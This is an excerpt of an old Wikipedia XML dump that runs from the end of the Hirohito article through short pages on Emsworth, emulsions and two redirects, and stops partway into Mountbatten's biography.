On [[September 4]], [[1941]], the Japanese Cabinet met to consider the war plans prepared by Imperial General Headquarters, and decided that:

:''Our Empire, for the purpose of self-defence and self-preservation, will complete preparations for war ... &lt;nowiki&gt;[&lt;/nowiki&gt;and is&lt;nowiki&gt;]&lt;/nowiki&gt; ... resolved to go to war with the [[United States]], [[United Kingdom|Great Britain]] and the [[Netherlands]] if necessary. Our Empire will concurrently take all possible diplomatic measures vis-a-vis the United States and Great Britain, and thereby endeavor to obtain our objectives ... In the event that there is no prospect of our demands being met by the first ten days of [[October]] through the diplomatic negotiations mentioned above, we will immediately decide to commence hostilities against the United States, Britain and the Netherlands.''

[[Image:Emperor Hirohito-1926.jpg|thumb|250px|The young Emperor in his coronation robes 1926]]

The &quot;objectives&quot; to be obtained were clearly defined: a free hand to continue with the conquest of [[China]] and [[Southeast Asia]], no increase in US or British military forces in the region, and cooperation by the West &quot;in the acquisition of goods needed by our Empire&quot;. 

On [[September 5]], Prime Minister [[Fumimaro Konoe|Konoe]] informally submitted a draft of the decision to the Emperor, just one day in advance of the Imperial Conference at which it would be formally implemented. According to the traditional view (again, contradicted by Bix's research), Hirohito was deeply concerned by the decision to place &quot;war preparations first and diplomatic negotiations second&quot; and announced his intention to break with centuries-old protocol and, at the Imperial Conference on the following day, directly question the chiefs of the Army and Navy general staffs &amp;mdash; a quite unprecedented action. Konoe quickly persuaded Hirohito to summon them for a private conference instead, at which the Emperor made it plain that a peaceful settlement was to be pursued &quot;up to the last&quot;. Chief of Naval General Staff  Admiral [[Osami Nagano]], a former Navy Minister and vastly experienced, later told a trusted colleague &quot;I have never seen the Emperor reprimand us in such a manner, his face turning red and raising his voice.&quot;

Nevertheless, all speakers at the Imperial Conference were united in favour of war rather than diplomacy. Baron [[Yoshimichi Hara]], President of the Imperial Council and the Emperor's representative, then questioned them closely, producing replies to the effect that war would only be considered as a last resort from some, and silence from others. 

At this point, the sovereign astonished all present by addressing the conference personally, and in breaking the tradition of Imperial silence left his advisors &quot;struck with awe&quot;. (Prime Minister Konoe's description of the event.) Emperor Hirohito stressed the need for peaceful resolution of international problems, expressed regret at his ministers' failure to respond to Baron Hara's probings, and recited a poem written by his grandfather, [[Emperor Meiji]] which, he said, he had read &quot;over and over again&quot;:

: ''Methinks all the people of the world are brethren, then.''
: ''Why are the waves and the wind so unsettled nowadays?''

Recovering from their shock, the ministers hastened to express their profound wish to explore all possible peaceful avenues. The war preparations continued without the slightest change, however, and within weeks Cabinet would replace the insufficiently belligerent Konoe with the hard line General [[Hideki Tojo]], formally chosen by Hirohito under the Constitution (but whether he was in fact favored by Hirohito remains disputed). On [[December 8]] ([[December 7]] in Hawaii) 1941, in simultaneous attacks, Japanese forces struck at the US Fleet in [[Attack on Pearl Harbor|Pearl Harbor]] and began the [[South-East Asian Theatre of World War II|invasion of South-East Asia]]. From here, there was no turning back.

Whatever his actual involvement leading up to hostilities, with the nation now fully committed to the war, Emperor Hirohito took a keen interest in military progress and sought to boost morale, just as George VI did, for example, in Britain at the same time. To begin with, the news was all good. As the tide of war gradually began to turn (around late [[1942]] and early [[1943]]), some people argue that the flow of information to the palace gradually began to bear less and less relation to reality, while others suggest that the emperor worked closely with Prime Minister Tojo, continued to be well and accurately briefed by the military, and knew Japan's military position precisely right up to the point of surrender. In the first six months of war, all the major engagements had been victories. Throughout the following years, the sequence of drawn and then decisively lost engagements was also reported to the public as a series of great victories. Only gradually did it become apparent to the people in the home islands that the situation was very grim. U.S. air raids on the cities of Japan starting in 1944 made a mockery of the unending tales of victory. Later that year, with the downfall of Hideki Tojo's government, two other prime ministers were appointed to continue the war effort, [[Kuniaki Koiso]] and [[Kantaro Suzuki]] - again, with at least the formal approval of Hirohito, but whether he agreed with their policies is still disputed. Both were unsuccessful and Japan was nearing defeat.

==Last days of the war==
In early 1945, in the wake of the loss of [[Battle of Leyte|Leyte]], the Emperor began a series of individual meetings with senior government officials to consider the progress of the war. All but one advised continuing. The exception was ex-Prime Minister [[Fumimaro Konoe]], who feared a [[Communism|communist]] revolution even more than defeat and urged a negotiated surrender. According to some accounts, Hirohito apparently took the view that peace was essential, but that the armed forces would have to engineer a conspicuous military victory somewhere in order to provide a stronger bargaining position. With each passing week this became less likely. In April the [[Soviet Union]] issued notice that it would not renew its neutrality agreement. Japan's ally [[Germany]] surrendered in early May 1945. In June, the cabinet reassessed the war strategy, only to decide more firmly than ever on a fight to the last man. This was officially affirmed at a brief Imperial Council meeting, to which the Emperor listened in stone-faced silence. 

The following day, Lord Keeper of the Privy Seal [[Koichi Kido]] prepared a draft document which summarised the hopeless military situation and proposed a negotiated settlement. According to some sources, the Emperor privately approved of it and authorised Kido to circulate it discreetly amongst the less hawkish cabinet members; others suggest that the Emperor was indecisive, and that the mixed signals from the palace may have delayed the peace process, costing many tens of thousands of Japanese and Allied lives. By mid-June the cabinet had agreed to approach the Soviet Union to act as a mediator, though not before the bargaining position had been improved by a repulse of the coming Allied invasion of mainland Japan. 

On [[June 22]], Hirohito broke tradition once again to speak to his ministers, saying &quot;I desire that concrete plans to end the war, unhampered by existing policy, be speedily studied and that efforts be made to implement them.&quot; The attempt to negotiate a peace via the Soviet Union came to nothing: the Allies were determined not to settle for anything short of [[unconditional surrender]], and as late as July 1945 the Japanese government was not prepared to consider that option: they insisted on at least one condition, a guarantee of the emperor's continuing position in Japanese society.

==Post-war reign==

[[image:macarthur hirohito.jpg|thumb|300px|General MacArthur and The Emperor ]]

On [[August 15]], [[1945]], following the [[Atomic bombings of Hiroshima and Nagasaki|atomic bombing of Hiroshima and Nagasaki]] and the [[Operation August Storm|entry of the Soviet Union]] into the war against Japan, Hirohito, after more hesitation, abandoned the condition of preserving his own position and finally made the radio broadcast announcing the unconditional surrender of Japan's military forces (known as ''[[Gyokuon-hoso|Gyokuon-hōsō]]'').  The broadcast exhorted the Japanese to &quot;accept the unacceptable&quot; in surrender; it was the first time the public had ever heard the Emperor's voice. 

There were attempts by numerous leaders, among them [[President of the United States|President]] [[Harry S Truman]], to have Hirohito put on trial for alleged [[war crimes]]. U.S. General [[Douglas MacArthur]] insisted that Hirohito remain Emperor to keep him as a symbol of the continuity and cohesion of the Japanese people. Hirohito was spared trial and retained the throne, but Hirohito was forced to explicitly reject (in the ''[[Ningen-sengen]]'' 人間宣言, lit. &quot;declaration of human being&quot;) the traditional claim that the Emperor of Japan was divine, and a descendant of the [[Amaterasu|Sun Goddess]]. According to the [[Constitution of Japan#The Constitution of the Empire of Japan .281889-1947.29|Japanese constitution of 1889]], Hirohito had a divine power over his country, which was derived from the mythology of the Japanese Imperial Family who were said to be the offspring of the creator of Japan, [[Amaterasu]]. The imperial title was thus transformed from 'imperial sovereign' to '[[Constitutional monarchy|constitutional monarch]]' in [[1946]]. Immediately after Hirohito's repudiation of divinity, he asked the occupation authorities for permission to worship the Sun Goddess. Some have seen this as an implicit reaffirmation of the claim to divine status; others have seen it as simply an expression of Hirohito's personal religious beliefs, with no political or social implications.

[[image:Reaganhiro.jpg|left|framed|The Emperor's later life. Meeting with [[Ronald Reagan|President Reagan]]]]

Although Hirohito was forced to reject any claims to his own divine status, his status was deliberately left vague, partly because General MacArthur thought him likely to be a useful tool to get the Japanese to accept the occupation, and partly due to behind-the-scenes maneuverings by [[Shigeru Yoshida]] to thwart MacArthur's attempts at casting Hirohito as a European-style monarch. While Hirohito was usually seen as a [[head of state]], there is still a broad dispute about whether he became a mere citizen or something else. Many scholars claim that today's ''tennō'' (usually translated [[Emperor of Japan]] in English) is not an [[emperor]]. See the &quot;[[Emperor of Japan]]&quot; article for discussion of the position of Emperor of Japan.

For the rest of his life, Hirohito was an active figure in Japanese life, and performed many of the duties commonly associated with a constitutional [[head of state]]. The emperor and his family maintained a strong public presence, often holding public walkabouts, and making public appearances on special events and holidays. He also played an important role in rebuilding Japan's diplomatic image, traveling abroad to meet with many foreign leaders, including numerous American presidents and Queen [[Elizabeth II of the United Kingdom|Elizabeth II]]. 

Hirohito was deeply interested in and well-informed about [[marine biology]], and the [[Kokyo|Imperial Palace]] contained a laboratory from which Hirohito published several papers in the field.

==Death==

On [[September 22]], [[1987]], Hirohito underwent surgery on his pancreas after having digestive problems for several months. This was the very first time a Japanese Emperor underwent surgery. The doctors discovered that he had [[duodenal cancer]], but in accordance with Japanese tradition, they did not tell him. Hirohito seemed to be recovering well for several months after his surgery. About a year later, however, on [[September 19]], [[1988]], he collapsed in his palace, and his health worsened over the next several months as he suffered from continuous internal bleeding. On [[January 7]], [[1989]], at 6:33 AM, Hirohito died. At 7:55 AM, the grand steward of Japan's Imperial Household Agency, Shoichi Fujimori, officially announced the Emperor's death, and revealed details about his cancer for the first time. Upon his death, he was renamed Emperor Showa (''Shōwa Tennō''), after the era during which he ruled. On [[February 24]], Emperor Showa's funeral was held, and unlike that of his predecessor, it was not done in a strictly [[Shinto]] manner, and a number of world leaders attended it. He is buried in the Imperial mausoleum in  [[Hachioji,_Tokyo|Hachioji]], alongside other past emperors.

===Yasukuni Jinja===

Although largely refraining from becoming involved in the politics surrounding [[Yasukuni Jinja]], Hirohito maintained an official boycott of the controversial monument from 1978, when it was revealed to him that wartime Prime Minister [[Hideki Tojo]] was being honored there, until the time of his death.

This boycott has been maintained by his son [[Akihito]], who has also refused to worship at Yasukuni since 1978.

==See also==
* [[Fumimaro Konoe]]
* [[Gyokuon-hoso|Gyokuon-hōsō]]
* [[Hideki Tojo]]
* [[Japanese nationalism]]
* [[Showa period|Shōwa period]]
* [[Tanaka Memorial]]
* [[World War II]]

== References ==
* Mosley, Leonard ''Hirohito, Emperor of Japan'', Prentice-Hall, Englewood Cliffs, 1966. ISBN 1111755396 ISBN 1199997609 - The first full-length biography, it gives his basic story.
* Hoyt, Edwin P. ''Hirohito: The Emperor and the Man'', Praeger Publishers, 1992. ISBN 0275940691
* Behr, Edward ''Hirohito: Behind the Myth'', Villard, New York, 1989. - A controversial book that posited that Hirohito had a more active role in WWII than had publically been portrayed; it contributed to the re-appraisal of his role.
* Bix, Herbert P. ''Hirohito and the Making of Modern Japan'', HarperCollins, 2000. ISBN 006019314X - A recent scholarly (and copiously sourced) look at the same issue.
* Wetzler, Peter ''Hirohito and War: Imperial Tradition and Military Decision Making in Prewar Japan'', University of Hawaii Press, 1998. ISBN 082481925X
* Kawahara, Toshiaki ''Hirohito and His Times: A Japanese Perspective'', Kodansha International, 1997. ISBN 0870119796 (Japanese standard image)

== External links ==
{{Commons|Hirohito}}

* [http://homepage3.nifty.com/kadzuwo/triviana/hirohito.htm Hirohito, Emperor @A Trivial Encyclopedia of Japan] (with links in multiple languages)

* [http://www.kunaicho.go.jp/esyouwa/esyouwa.html#koujyun Kunaicho | Emperor Showa]

{{start box}}
{{succession box | before=[[Taisho Emperor|Taishō]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Akihito]] | years=[[1926]]-[[1989]]}}
{{end box}}

[[Category:1901 births|Hirohito, emperor of Japan]]
[[Category:1989 deaths|Hirohito, emperor of Japan]]
[[category:Fellows of the Royal Society]]
[[Category:Regents]]
[[Category:Japanese emperors]]
[[Category:Knights of the Garter]]
[[Category:Showa period]]
[[Category:World War II political leaders]]
[[Category:Yamato line]]
[[Category:Knights Grand Cross of the Bath]]
[[Category:Knights Grand Cross of the Royal Victorian Order]]

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  </page>
  <page>
    <title>Emission trading</title>
    <id>10288</id>
    <revision>
      <id>15908109</id>
      <timestamp>2003-09-23T21:09:43Z</timestamp>
      <contributor>
        <ip>63.136.99.41</ip>
      </contributor>
      <comment>Redirect to  &quot;emissions trading&quot; moving text</comment>
      <text xml:space="preserve">#REDIRECT [[emissions trading]]</text>
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  </page>
  <page>
    <title>Emsworth</title>
    <id>10289</id>
    <revision>
      <id>38668704</id>
      <timestamp>2006-02-07T21:39:53Z</timestamp>
      <contributor>
        <username>Whitepaw</username>
        <id>138351</id>
      </contributor>
      <minor />
      <comment>refmt pub list</comment>
      <text xml:space="preserve">{{GBmap|Emsworth - Hampshire|SU748060}}

'''Emsworth''' is a small [[town]] in the [[United Kingdom]], situated on the south coast on the Hampshire side of the border between [[Hampshire]] and [[West Sussex]]. The town lies at the north end of Chichester Harbour, a large but shallow inlet from the [[Solent]]. This is now used almost exclusively for recreational [[sailing]], but in the past was the setting for Emsworth's [[oyster]] farming industry. In some places the old oyster-beds can still be seen at low tide. The town has a basin for small yachts and a few fishing boats opposite the millpond, an artificial lake which fills at high tide can be emptied through a sluice at low tide. The [[River Ems]], which is named after the town (not, as often believed, the town named after the river) also flows into the millpond, and although the mill is no longer in use it now houses one of the town's two sailing clubs.

Emsworth has a population of approximately 10,000 people, and benefits from 16 public houses, mainly due to the adjacent army base at [[Thorney Island (West Sussex)|Thorney Island]]. Although some would argue that the number of public houses has more to do with the fact that Emsworth was a fishing village. There used to be 21 pubs in Emsworth and this number may have decreased due to the Emsworth fishing and oyster trade dying down.

Many residents find it a splendid place to live. Mainly elderly people live there and some argue that it has few youth-friendly activities.

====Public Houses (Pubs) In Emsworth====
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:488 The Bluebell]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:489 The Coal Exchange]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:490 The Crown]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:491 The King's Arms]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:492 The Lord Raglan]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:494 The Railway Inn]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:495 The Ship Inn]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Sussex_West:1285 The Sussex Brewery]
* [http://www.britishpubguide.com/cgi-bin/pubsearch.cgi?results:Hampshire:496 The Town Brewery]

[[Category:Towns in Hampshire]]</text>
    </revision>
  </page>
  <page>
    <title>Emulsion</title>
    <id>10290</id>
    <revision>
      <id>41421309</id>
      <timestamp>2006-02-27T05:13:48Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>/* Emulsifier */</comment>
      <text xml:space="preserve">[[Image:Emulsions.png|frame|right|A. Two immisicble liquids, not emulsified; B. An emulsion of Phase B dispersed in Phase A; C. The unstable emulsion progressively separates; D. The (purple) surfactant positions itself on the interfaces between Phase A and Phase B, stabilizing the emulsion]]
An '''emulsion''' is a mixture of two [[immiscible]] (unblendable) substances.  One substance (the dispersed phase) is [[dispersion|dispersed]] in the other (the continuous phase).  Examples of emulsions include [[butter]] and [[margarine]], [[mayonnaise]], the photo-sensitive side of [[film stock]], and [[cutting fluid]] for [[metalworking]]. In butter and margarine, a continuous lipid phase surrounds droplets of water (water-in-oil emulsion).  '''Emulsification''' is the process by which emulsions are prepared. 

Emulsions tend to have a cloudy appearance, because the many phase interfaces (the boundary between oil and water is called the interface) scatter light that passes through the emulsion. Emulsions can be stable or unstable. Homemade oil and vinegar [[salad dressing]] is an unstable emulsion that will quickly separate unless shaken continuously.  This phenomenon is called [[coalescence (meteorology)|coalescence]], and happens when small droplets recombine to form bigger ones. Fluid emulsions can also suffer from [[creaming]], the migration of one of the substances to the top of the emulsion under the influence of [[buoyancy]] or [[centripetal force]] when a [[centrifuge]] is used. 

Emulsions are part of a more general class of two-phase systems of matter called [[colloid]]s.  Although the terms colloid and emulsion are sometimes used interchangeably, emulsion tends to imply that both the dispersed and the continuous phase are [[liquid]].

==Emulsifier==
An '''emulsifier''' (also known as a '''[[surfactant]]''' from ''surface active material'' or '''emulgent''') is a substance which stabilizes an emulsion. Examples of food emulsifiers are egg yolk (where the main emulsifying chemical is the [[phospholipid]] [[lecithin]]), and mustard, where a variety of chemicals in the mucilage surrounding the seed hull act as emulsifiers; [[protein]]s and low-molecular weight emulsifiers are common as well. In some cases, particles can stabilise emulsions as well through a mechanism called [[Pickering stabilization]]. Both [[mayonnaise]] and [[Hollandaise sauce]] are oil-in-water emulsions stabilized with egg yolk lecithin.  [[Detergent]]s are another class of surfactant, and will chemically interact with both [[Cooking oil|oil]] and [[water]], thus stabilising the interface between oil or water droplets in suspension. This principle is exploited in [[soap]] to remove [[Yellow grease|grease]] for the purpose of [[cleaning]].  A wide variety of emulsifiers are used in [[pharmacy]] to prepare emulsions such as [[cream (pharmaceutical)|creams]] and [[lotion]]s.

[[Image:propofol.jpg|left|thumb|20 ml ampule of 1% [[propofol]] emulsion suitable for [[intravenous]] injection. The manufacturers emulsify the lipid soluble propofol in a mixture water, soy oil and egg [[lecithin]].]]
Whether an emulsion turns into a water-in-oil emulsion or an oil-in-water emulsion depends of the volume fraction of both phases and on the type of emulsifier. Generally, the [[Bancroft rule]] applies: emulsifiers and emulsifying particles tend to promote dispersion of the phase in which they do not dissolve very well; for example, proteins dissolve better in water than in oil and so tend to form oil-in-water emulsions (that is they promote the dispersion of oil droplets throughout a continuous phase of water).

[[Category:Colloidal chemistry]] 
[[Category:Food science]]
[[Category:Soft matter]]
[[Category:Matter]]

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  <page>
    <title>Estonia ship</title>
    <id>10291</id>
    <revision>
      <id>15908112</id>
      <timestamp>2004-03-13T13:50:41Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <comment>Redirect</comment>
      <text xml:space="preserve">#REDIRECT [[M/S Estonia]]</text>
    </revision>
  </page>
  <page>
    <title>Louis Mountbatten, 1st Earl Mountbatten of Burma</title>
    <id>10292</id>
    <revision>
      <id>42077092</id>
      <timestamp>2006-03-03T17:44:12Z</timestamp>
      <contributor>
        <ip>195.92.67.70</ip>
      </contributor>
      <comment>/* Death */</comment>
      <text xml:space="preserve">[[Admiral of the Fleet (Royal Navy)|Admiral of the Fleet]] '''Louis Francis Albert Victor Nicholas Mountbatten, 1st Earl Mountbatten of Burma''',  [[Knight of the Garter|KG]], [[Order of the Bath|GCB]], [[Order of Merit|OM]], [[Order of the Star of India|GCSI]], [[Order of the Indian Empire|GCIE]], [[Royal Victorian Order|GCVO]], [[Distinguished Service Order|DSO]]  ([[25 June]] [[1900]] &amp;ndash; [[27 August]] [[1979]]) was a [[United Kingdom|British]] [[admiral]] and [[statesman]] and an uncle of [[Prince Philip, Duke of Edinburgh]]. He was the last [[Viceroy]] and first [[Governor-General]] of independent [[India]], and [[First Sea Lord]], as was his father, [[Prince Louis of Battenberg]].  He was assassinated by the [[provisional IRA]], who planted a bomb in his boat in [[Donegal Bay]] in the [[Republic of Ireland]].

[[Image:mountbatten.jpg|thumb|Viceroy Mountbatten of India (1947)]]
==Ancestry==
Mountbatten was born in [[Frogmore House]], Windsor, in [[England]], as ''His Serene Highness Prince Louis of Battenberg'', although his [[German Empire|German]] [[Royal and noble styles|styles and titles]] were dropped in [[1917]]. He was the youngest child and the second son of [[Prince Louis of Battenberg]] and his wife [[Princess Victoria of Hesse and by Rhine]].

His maternal grandparents were [[Ludwig IV, Grand Duke of Hesse and by Rhine]] and [[Princess Alice of the United Kingdom]], daughter of [[Victoria of the United Kingdom]] and [[Prince Albert of Saxe-Coburg and Gotha]]. 

His siblings were [[Princess Alice of Battenberg|Princess Alice]], (mother of [[Prince Philip, Duke of Edinburgh]]), [[Louise Mountbatten|Queen Louise of Sweden]], and [[George Mountbatten, 2nd Marquess of Milford Haven]]. 
 
His father was [[First Sea Lord]] at the outbreak of the [[World War I|First World War]], but the prevailing extreme anti-German feelings obliged him to resign.  In [[1917]], when the Royal Family stopped using their German names and titles, [[Prince Louis of Battenberg]] became Louis Mountbatten, and was created [[Marquess of Milford Haven]].  His second son acquired the [[courtesy title|courtesy]] style '''Lord Louis Mountbatten''' and was known as '''Lord Louis''' informally until his death notwithstanding his being granted a viscountcy in recognition of his wartime service in the Far East and an earldom for his role in the transition of India from British dependency to sovereign state. In childhood he visited the Imperial Court of Russia at St Petersburg and became intimate with the doomed Imperial Family; in later life he was called upon authoritatively to rebut claims by pretenders to be the supposedly surviving Grand Duchess Anastasia.

==Career==
===Early career===
Mountbatten served in the [[Royal Navy]] during the [[World War I|First World War]]. He accompanied [[Edward, Prince of Wales]] on a 1922 royal tour of India (where he met Edwina Ashley) and consolidated a firm friendship with the Prince which cooled substantially during the Abdication Crisis of 1936, when Mountbatten's loyalties as between the wider Royal Family and the throne, on the one hand, and the then-King, on the other, were tested, with Mountbatten coming down firmly on the side of Prince Albert who was to assume the throne in his brother's place. 

===Second World War===
In the [[World War II|Second World War]] he commanded the 5th [[Destroyer]] [[Flotilla]]. His ship, the destroyer [[HMS Kelly|HMS ''Kelly'']], was famous for many daring exploits. In early May [[1940]], Mountbatten led a British convoy in through the fog to evacuate the Allied forces participating in the [[Namsos campaign]]. His ship was sunk during the [[Crete]] Campaign. In [[1940]] he invented the [[Mountbatten Pink]] naval camouflage pigment. 

Mountbatten was a favourite of [[Winston Churchill]] &amp;mdash; Churchill was famously annoyed with Mountbatten's later role in the independence of India &amp;mdash; and in [[1941]] he replaced [[Roger Keyes]] as Chief of [[Combined Operations]]. He personally pushed through the disastrous [[Dieppe Raid]] ([[19 August]] [[1942]]) (which certain elements of the Allied military, notably [[Bernard Montgomery|Field Marshal Montgomery]], felt was misconceived from the start). The raid on Dieppe was widely considered to be a disaster, with casualties (including those injured and/or taken prisoner) numbering in the thousands, the great majority of them Canadians. 

As a result, at one time Mountbatten was a rather controversial figure in Canada, with the Royal Canadian Legion taking some pains to distance itself from him during his visits there during his later career. The effluxion of time and Mountbatten's later fame in connection with India, particularly towards the end of his life, served to mute these feelings. Nevertheless, the perceived callousness of Mountbatten and other prominent figures towards Canadian forces felt by some served to encourage Canada's increasing distancing of itself from Britain in the postwar years. 

In late 1942, Mountbatten proposed [[Project Habbakuk]] to Churchill; the [[Pycrete]] [[supercarrier]] project was never completed.  In October 1943, Churchill appointed Mountbatten the Supreme Allied Commander [[South-East Asian Theatre of World War II|South East Asia Theatre]], a post he held until [[South East Asia Command]] (SEAC) was disbanded in 1946.  During his time as Supreme Allied Commander of the South-East Asia Theatre his command oversaw the recapture of Burma from the Japanese by General [[William Slim]]. His diplomatic handling of [[Joseph Stilwell|General &quot;Vinegar Joe&quot; Stilwell]], his deputy - and also the officer commanding the American [[China Burma India Theater of World War II|China Burma India Theater]] - and Generalissimo [[Chiang Kai-shek]], leader of the Chinese Nationalist forces, was as gifted as that of General [[Dwight D. Eisenhower|Eisenhower]] with General Montgomery and Winston Churchill.

===The Last Viceroy===
[[Image:MountbattenStamp.jpg|thumb|right|Stamp issued by the Government of [[India]] in the memory of Earl Louis Mountbatten]]His experience in the region and in particular his widely-known Labour sympathies led to [[Clement Attlee]] appointing him [[Viceroy of India]] after the war. In his position as Viceroy, Mountbatten oversaw the granting of independence to the Partitioned India as [[India]] and [[Pakistan]] (In subsequent years, pre-Independence India has often been referred to as &quot;British India.&quot; Prior to Partition and Independence, &quot;British India&quot; referred to those parts of India which were directly administered by the British, as opposed to those portions of pre-Independence India which were under the control of the Indian Princes.) 

He developed a strong relationship with the Indian princes who reposed considerable confidence in him, and on the basis of his relationship with the British monarchy persuaded most of them to accede to the new states of India and Pakistan. This was vitally important in the lead-up to Indian independence, though, of course, ultimately they were betrayed when post-Independence India and Pakistan abolished their prerogatives. The major continuing irritant between India and Pakistan has been over their rival claims to the formerly princely state of Kashmir. As a Hindu, the Maharajah, Hari Singh, chose to accede to India. Nehru himself was a Kashmiri Hindu and had a strong wish to retain Kashmir for India; as has been well-documented, Mountbatten got on extremely well with [[Jawaharlal Nehru]], the [[Indian National Congress|Indian Congress]] leader, and not at all with [[Mohammed Ali Jinnah]], the leader of the [[Muslim League|Indian Muslim League]] and champion of the partitioning of India, a factor that complicated the issue.

With his strong friendship with Nehru and amicable relations with Mahatma [[Gandhi]] but inability to work his famous charm on Jinnah, Mountbatten quickly gave up hope of salvaging a unified independent India, becoming resigned to [[Partition]] into a post-Independence Pakistan and Bharath (India).  After Independence (midnight of 14/[[15 August]] [[1947]], celebrated on the 14th in Pakistan and the 15th in India) he remained in New Delhi for ten months, serving as the first of independent India's two governors general until June 1948 (the monarchy being abolished in 1950 and the office of governor general of India replaced with a non-executive presidency.) Notwithstanding extremely effective self-promotion during his lifetime as to own his part in Indian independence &amp;mdash; notably in the television series &quot;The Life and Times of Admiral of the Fleet Lord Mountbatten of Burma&quot;, produced by his son-in-law Lord Brabourne, and [[Dominic LaPierre]] and [[Larry Collins]]'s rather sensationalised ''[[Freedom at Midnight]]'' (as to which he was the main informant) &amp;mdash; his record is mixed; one view is that he hastened the independence process unduly, forseeing vast disruption and loss of life and not wanting this to occur on the British watch, but thereby actually causing it to occur, especially during the partition of the Punjab but also to a lesser extent, Bengal. 

[[John Kenneth Galbraith]], the Canadian-American Harvard economist, who advised governments of India during the 1950s, became an intimate of Nehru and served as the American ambassador from 1961-63, has been a particularly harsh critic of Mountbatten in this regard. The horrific casualties of the partition of the Punjab are luridly described in Collins' and LaPierre's ''Freedom at Midnight'' and more latterly in [[Bapsi Sidwah]]'s novel ''Ice Candy Man'', made into the film ''Earth, 1947''. In all renderings of the appalling carnage that followed the Partition, Lady Mountbatten is universally praised for her heroic efforts in relieving the misery and to this day she remains a heroine of the Partition period in India .

===Career after India===
After India, Mountbatten served in the Mediterranean Fleet and as a staff officer in the Admiralty. He took great personal pride and pleasure in serving as [[First Sea Lord]] and later as [[Chief of the Defence Staff]] for six years ([[1959]]-[[1965]]), which he also took as reparation for the slur on his father who had been forced to resign as First Sea Lord in [[1914]] after being falsely accused of pro-German sympathy.

In 1967 Mountbatten attended a private meeting with press baron and MI5 agent Cecil King, and the Government's chief scientific adviser, Solly Zuckerman. King wanted to stage a coup against the then crisis-striken Labour Government, and urged Mountbatten to become the leader of a Government of national salvation. Mountbatten apparently considered the idea of heading the coup, but Zuckerman pointed out that it was treason, and the idea came to nothing because of Mountbatten's reluctance to act. {{ref|Hansard}}

Mountbatten took great pride in enhancing intercultural understanding and in 1984, with his eldest daughter as the patron, the [http://www.mountbatten.org Mountbatten Internship Programme]was developed to allow young adults the opportunity to enhance their intercultural appreciation and experience by spending time abroad.

A small item in Private Eye magazine regarding drunken naval ratings at Mountbatten's London home, and which alluded to Mountbatten's bisexuality, was widely commented upon. Mountbatten's official biographer wrote that he could find nothing to support the allegation, but several eyewitness accounts supporting Private Eye were later published.

==Marriage and descendants==
===Edwina, Countess Mountbatten===
Mountbatten - known to friends and family as &quot;Dickie&quot; - was married on [[July 18]], [[1922]] to the Hon. [[Edwina Cynthia Annette Ashley]], daughter of Wilfred Ashley, 1st [[Baron Mount Temple]]. She was the favourite grandaughter of the Edwardian magnate, Sir [[Ernest Cassel]]. There followed a glamorous honeymoon tour of America which famously included a visit with Douglas Fairbanks, Mary Pickford and Charlie Chaplin in Hollywood, Chaplin creating a widely-seen home movie &quot;Nice and Easy,&quot; featuring the talents of Fairbanks, Pickford, Chaplin and the Mountbattens. Mountbatten and Edwina remained devoted to each other until her death at age 58 on [[February 21]], [[1960]], in [[Jesselton]], [[North Borneo]] of unknown causes, though as amply documented in the official biography by Philip Ziegler, the marriage had been stormy throughout, with ample adulterous dalliance on both parts. They had two daughters: [[Patricia Mountbatten, 2nd Countess Mountbatten of Burma]] (born on [[February 14]], [[1924]]), and [[Lady Pamela Hicks|Lady Pamela Carmen Louise (Hicks)]] (born on [[April 19]], [[1929]]).

===Passing of titles to Patricia===
Since Mountbatten had no sons, when he was created Viscount on [[August 23]], [[1946]], then Earl and Baron on [[October 28]], [[1947]], the [[Letters Patent]] were drafted such that the titles would pass to the female line. This was at his firm insistence: his relationship with his elder daughter had always been particularly close and it was his special wish that she succeed to the title in her own right. It also acknowledged the regard in which he was held in by the British Royal Family &amp;mdash; although the Sarah Bradford biography of ''King George VI: The Reluctant King'', indicates clearly that the King was not without a degree of droll awareness of his cousin's famous name-dropping as to his Royal connection &amp;mdash; as well as to atone for the disservice done to his father. Thus, on his death in 1979 the titles passed to Patricia as he had wished.

===Mentorship of Prince of Wales===
Mountbatten was a strong influence in the upbringing of his great-nephew, [[Prince Charles, Prince of Wales|The Prince of Wales]], and later as a mentor &amp;mdash; &quot;Honorary Grandfather&quot; and &quot;Honorary Grandson,&quot; they fondly called each other according to the Jonathan Dimbleby biography of the Prince, though according to both the Ziegler biography of Mountbatten and the Dimbleby biography of the Prince the results may have been mixed: he from time to time strongly upbraided the Prince for showing tendencies towards the idle pleasure-seeking dilletantism of his precedecessor as Prince of Wales, the Duke of Windsor and sometime King Edward VIII, whom Mountbatten had known well in their youth; but he also encouraged the Prince to enjoy the bachelor life while he could and then to marry a young and inexperienced girl so as to ensure a stable married life. No doubt he was thinking of his own youthful and tumultuous marriage to Edwina; of course the Prince's own marriage to Lady Diana Spencer turned out to be even more tumultuous.

==Death==
On [[27 August]] [[1979]], while holidaying as usual in his summer home in Mullaghmore, [[County Sligo]] in the [[Republic of Ireland]], he was killed by a bomb planted in his boat in [[Donegal Bay]]. The [[Provisional IRA]] admitted responsibility for the bomb. Others killed at the site were:

*[[Doreen Knatchbull, Baroness Brabourne|The Dowager Baroness Brabourne]]: his elder daughter's mother-in-law (aged 83).
*[[Nicholas Knatchbull|The Hon. Nicholas Knatchbull]], his elder daughter's fourth son (aged 14).
*[[Paul Maxwell]]: a local boy working as a crew member (aged 15).

